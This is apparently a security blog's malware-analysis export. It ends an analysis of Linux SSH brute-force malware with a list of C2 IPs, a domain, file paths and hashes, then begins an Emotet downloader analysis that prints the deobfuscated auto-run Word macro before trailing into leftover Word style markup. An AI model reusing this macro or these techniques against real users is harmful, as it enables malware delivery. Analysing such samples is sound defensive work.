class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both;">Some of these parameters are not documented in the <b><font face="courier">tsm</font></b> help screen.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">After sleeping for various minutes, it also initiates the main module which downloads IP and user credentials list from C2 server via SFTP and perform SSH brute-force.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">At the time of this analysis there I’ve captured <b>300</b> <b>unique credentials</b> and <b>597746</b> <b>unique IPs </b>on SFTP servers</div><div><br /></div></div><div><p class="MsoNormal" style="font-family: "times new roman", serif; margin: 0in 0in 0.0001pt;">Malware also tries to login with previously saved keys in the infected machine to access more machines.<span style="font-size: 12pt;"><o:p></o:p></span></p></div><div><br /></div><div><h2>IOCs</h2><h3>Ip Addresses and URLs</h3><div><ul><li><font size="4"><div style="text-align: justify;"><div><div>45.9.148.99</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>45.9.148.129</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>45.9.148.117</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>45.9.148.125</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>debian-package.center</div></div></div></font></li></ul></div><h3>Running Processes</h3><div><ul><li><font size="4"><div style="text-align: justify;"><div><div>ksawpd0</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>rsync</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>go</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>run</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>tsm</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>tsm32</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>tsm64</div></div></div></font></li></ul></div><h3>Filesystem Artifacts</h3><div><ul><li><font size="4"><div style="text-align: justify;"><div><div>/tmp/.X25-unix</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/tmp/.X25-unix/dota3.tar.gz</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/tmp/.X25-unix/.rsync</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/tmp/up.txt</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/var/tmp/dota3.tar.gz</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/var/tmp/.system925D22cronF21</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>/var/tmp/.systemcache436621</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>~/.configrc</div></div></div></font></li></ul></div><h3>File Hashes</h3><div><ul><li><font size="4"><div style="text-align: justify;"><div><div>1c42bfcfb910013ebe02adeb6127884de54ea225161d0a7347c05c2c4e6fbf49 - b/stop</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>1c7b4c7ab716159b6dc9fc5abc6ae28ab9dfa0d64e3d860824692291a7038a4e - a/stop</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>99fa6e718f5f54b1c8bf14e7b73aa0cda6fe9793a958bd4e0a12916755c1ca93 - c/tsm64</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>9d4fef06b12d18385f1c45dd4e37f031c6590b080ea5446ff7a5bac491daea50 - a/a<span style="white-space: pre;"> </span></div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>b2469af4217d99b16a4b708aa29af0a60edeec3242078f42fa03b8eaf285d657 - b/run</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>d6c230344520dfc21770300bf8364031e10758d223e8281e2b447c3bf1c43d2b - c/tsm32</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708 - a/kswapd0</div></div></div></font></li><li><font size="4"><div style="text-align: justify;"><div><div>e38ff53f3978c84078b016006389eb3b286443d61cbabb7d5a4f003c8ae67421 - a/init0</div></div></div></font></li></ul></div></div><div><br /></div></div></font></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-3001225585917762972018-12-03T03:01:00.000+03:002018-12-03T20:15:38.778+03:00Emotet First Stage Downloader Deobfuscation and AnalysisThis is the analysis and deobfuscaition of emotet malware/trojan first stage downloader sample that is spreading via a Word document sent within a phishing email in the recent campaign.<br />
<br />
This first stage malware consist of three parts: Obfuscated Macro, Obfuscated Batch Script and Obfuscated Powershell Script.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-F_GEcZpLWzg/XAVkcXaJSPI/AAAAAAAAEuU/BR9EM83NEQAY30ZmPAko7iEDNzN6JC5UwCLcBGAs/s1600/mainflow.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="392" data-original-width="990" height="252" src="https://4.bp.blogspot.com/-F_GEcZpLWzg/XAVkcXaJSPI/AAAAAAAAEuU/BR9EM83NEQAY30ZmPAko7iEDNzN6JC5UwCLcBGAs/s640/mainflow.png" width="640" /></a></div>
Let's start from beginning, this is a sample email contains a word attachment with a malicious macro.<br />
<div>
<!--EndFragment--><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-CrspD73l6X8/XARaNezkoyI/AAAAAAAAEsM/awUd7wl5HdQCFddcnnkJ6Mwh7pIghfuAgCLcBGAs/s1600/1-Phishing-Email.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="928" data-original-width="1454" height="408" src="https://1.bp.blogspot.com/-CrspD73l6X8/XARaNezkoyI/AAAAAAAAEsM/awUd7wl5HdQCFddcnnkJ6Mwh7pIghfuAgCLcBGAs/s640/1-Phishing-Email.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-Xo_8xWt_SAs/XARagmmVkBI/AAAAAAAAEsU/guvdtWbG73sCHSSRsBqwKTnmFyaHu3tVgCLcBGAs/s1600/1.5-WordDoc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="510" data-original-width="1101" height="296" src="https://2.bp.blogspot.com/-Xo_8xWt_SAs/XARagmmVkBI/AAAAAAAAEsU/guvdtWbG73sCHSSRsBqwKTnmFyaHu3tVgCLcBGAs/s640/1.5-WordDoc.png" width="640" /></a></div>
The embedded VB macro within the word document has the following code. (The code in the screenshot is just a small portion of it which is cut for brevity)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-C8jy4Nq2xfE/XARbokSH8EI/AAAAAAAAEsg/XI8a4cgettYmDVV7kin_hNzEuOm8r-wEwCLcBGAs/s1600/1-8-emotet_obfuscated_macro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="816" data-original-width="1600" height="326" src="https://1.bp.blogspot.com/-C8jy4Nq2xfE/XARbokSH8EI/AAAAAAAAEsg/XI8a4cgettYmDVV7kin_hNzEuOm8r-wEwCLcBGAs/s640/1-8-emotet_obfuscated_macro.png" width="640" /></a></div>
This macro actually contains a lot of junk code and obfuscation All of these switch cases are not functional, code never goes into any switch case. When you shrink down the switch cases, remaining code becomes the following:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-tuVcmuDAgg0/XARcDpgSbBI/AAAAAAAAEss/c9yxZjBeBbA3_t-GqopqY5XLyfuYzTOgACLcBGAs/s1600/2-emotet_obfuscated_macro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1252" data-original-width="1600" height="500" src="https://2.bp.blogspot.com/-tuVcmuDAgg0/XARcDpgSbBI/AAAAAAAAEss/c9yxZjBeBbA3_t-GqopqY5XLyfuYzTOgACLcBGAs/s640/2-emotet_obfuscated_macro.png" width="640" /></a></div>
Again, other than blue underlined parts, all codes are just for making this code harder to analyze. So, the real macro code is actually shown down below:<br />
<div>
<br /></div>
<span style="font-family: "courier new" , "courier" , monospace;">Sub AutoOpen()<br /> On Error Resume Next<br />Set qnESb = Shapes("VEwXcPHJQ")<br />NGHcX = "" + MjATXo + JozcQC + qnESb.TextFrame.TextRange.Text + nZBEIYNN + biNnGz + vwWWzl <br />Set bJZMhfmkz = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")<br />Const wtMkT = 0<br />bJZMhfmkz.Run@ NGHcX, wtMkT<br />End Sub</span><br />
<br />
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]-->
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-US</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
DefSemiHidden="false" DefQFormat="false" DefPriority="99"
LatentStyleCount="375">
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 9"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="header"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footer"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index heading"/>
<w:LsdException Locked="false" Priority="35" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of figures"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope return"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="line number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="page number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of authorities"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="macro"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="toa heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 5"/>
<w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Closing"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Signature"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="true"
UnhideWhenUsed="true" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Message Header"/>
<w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Salutation"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Date"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Block Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="FollowedHyperlink"/>
<w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Document Map"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Plain Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="E-mail Signature"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Top of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Bottom of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal (Web)"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Acronym"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Cite"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Code"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Definition"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Keyboard"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Preformatted"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Sample"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Typewriter"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Variable"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Table"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation subject"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="No List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Contemporary"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Elegant"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Professional"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Balloon Text"/>
<w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Theme"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" QFormat="true"
Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" QFormat="true"
Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
